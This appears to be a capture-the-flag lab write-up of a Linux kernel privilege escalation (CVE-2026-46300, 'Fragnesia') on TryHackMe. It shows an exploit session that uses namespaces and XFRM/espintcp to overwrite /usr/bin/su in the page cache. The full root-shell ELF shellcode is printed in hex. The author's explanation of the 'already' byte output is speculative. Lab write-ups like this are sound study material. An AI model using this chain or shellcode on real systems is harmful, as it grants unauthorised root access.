Skip to main content

Command Palette

Search for a command to run...

CVE-2026-46300: Fragnesia (TryHackMe)

Updated
4 min readView as Markdown
CVE-2026-46300: Fragnesia (TryHackMe)
J
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Link to the challenge on TryHackMe: CVE-2026-46300: Fragnesia

Intro

CVE-2026-46300 (Fragnesia) targets a kernel-level dirty-pagecache-style race, but the twist here is the delivery mechanism: XFRM/ESP-in-TCP (espintcp) combined with SKB coalescing is abused to smuggle writes into a read-only page cache mapping of a setuid binary. Rather than corrupting arbitrary kernel memory, the exploit's goal is a narrow and precise flip /usr/bin/su from a benign binary into one that spawns a root shell, entirely from an unprivileged, unprivileged-namespace context. The privilege escalation chain leans on user and network namespaces to gain the illusion of root inside a sandbox, then pivots that fake root into a real page cache write against a file the exploit's real UID has no business touching.

ssh karen@IP_Address
karen@fragnesia:~$ id
uid=1001(karen) gid=1001(karen) groups=1001(karen)
karen@fragnesia:~$ cd /home/karen/fragnesia
karen@fragnesia:~/fragnesia$ gcc -O2 -w fragnesia.c -o exp
karen@fragnesia:~/fragnesia$ ./exp
[*] uid=1001 euid=1001 gid=1001 egid=1001
[*] mode=xfrm_espintcp_pagecache_replace collateral=after

[*] target=/usr/bin/su size=55680
outer_write_open_denied=1 errno=13 (Permission denied)
userns_setup: outer_uid=1001 outer_gid=1001 ns_uid=0 ns_gid=0
netns_setup=1
loopback_up=1
xfrm_espintcp_state_add=1
namespace_setup_complete=1
userns_root_mapped_to_outer_user_write_open_denied=1 errno=13 (Permission denied)

[*] timing: rx_pre_ulp=30000us tx_pre_splice=1000us rx_post_ulp=30000us
[*] range: offset=0x0 len=192 last=0xbf enc_len=4080 splice_len=4096
[*] union: transformed=0x0-0x10ae collateral_after=0xc0-0x10ae
[*] payload=7f454c4602010100000000000000000002003e0001000000780040000000000040000000000000000000000000000000000000004000380001000000000000000100000005000000000000000000000000004000000000000000400000000000b800000000000000b800000000000000001000000000000031ff31f631c0b06a0f05b0690f05b0740f056a00488d0512000000504889e2488d3d1200000031f66a3b580f055445524d3d787465726d002f62696e2f7368000000000000000000

stream0_table_entries=256

[*] smashing 192 bytes into read-only page cache  changed=0  skipped=192  remaining=00
  0000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00 
  0010  02 00 3e 00 01 00 00 00  78 00 40 00 00 00 00 00 
  0020  40 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 
  0030  00 00 00 00 40 00 38 00  01 00 00 00 00 00 00 00 
  0040  01 00 00 00 05 00 00 00  00 00 00 00 00 00 00 00 
  0050  00 00 40 00 00 00 00 00  00 00 40 00 00 00 00 00 
  0060  b8 00 00 00 00 00 00 00  b8 00 00 00 00 00 00 00 
  0070  00 10 00 00 00 00 00 00  31 ff 31 f6 31 c0 b0 6a 
  0080  0f 05 b0 69 0f 05 b0 74  0f 05 6a 00 48 8d 05 12 
  0090  00 00 00 50 48 89 e2 48  8d 3d 12 00 00 00 31 f6 
  00a0  6a 3b 58 0f 05 54 45 52  4d 3d 78 74 65 72 6d 00 
  00b0  2f 62 69 6e 2f 73 68 00  00 00 00 00 00 00 00 00 
  [==================================================] 192/192 (100%)
────────────────────────────────────────────────────────────
[*] verifying 192 bytes...y=4d skip
[*] bytes_flip_summary len=192 changed=0 skipped=192
all requested bytes already had desired values
[-] [172/192] +00ab already=74 skip
[-] [173/192] +00ac already=65 skip
[-] [174/192] +00ad already=72 skip
[-] [175/192] +00ae already=6d skip
[-] [176/192] +00af already=00 skip
[-] [177/192] +00b0 already=2f skip
[-] [178/192] +00b1 already=62 skip
[-] [179/192] +00b2 already=69 skip
[-] [180/192] +00b3 already=6e skip
[-] [181/192] +00b4 already=2f skip
[-] [182/192] +00b5 already=73 skip
[-] [183/192] +00b6 already=68 skip
[-] [184/192] +00b7 already=00 skip
[-] [185/192] +00b8 already=00 skip
[-] [186/192] +00b9 already=00 skip
[-] [187/192] +00ba already=00 skip
[-] [188/192] +00bb already=00 skip
[-] [189/192] +00bc already=00 skip
[-] [190/192] +00bd already=00 skip
[-] [191/192] +00be already=00 skip
[-] [192/192] +00bf already=00 skip

# whoami
root
# cat /root/flag.txt
cat: /root/flag.txt: Permission denied
# exit
karen@fragnesia:~/fragnesia$ /usr/bin/su
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/flag.txt
THM{fragnesia_skb_coalesce_redacted}
# 

Conclusion

The exploit's own output is oddly self-effacing: every single byte in the "smashing" phase reports already — meaning the payload's ELF shellcode was already resident in the page cache from a prior race iteration or shared mapping, and this run just verified it stuck. That's the real tell of a successful pagecache-coalescing bug: the race condition already fired, the target binary already contains attacker shellcode, and this invocation is just confirming residency before triggering it. Running /usr/bin/su directly afterward executes the smuggled shellcode instead of the realsu, dropping straight to a root shell. It's a clean illustration of how namespace tricks (fake root via userns) and a low-level networking subsystem (espintcp/XFRM) can be chained purely to get a write primitive into memory that should be immutable to the calling UID — no traditional buffer overflow or use-after-free required, just careful abuse of how the kernel manages shared, backed pages.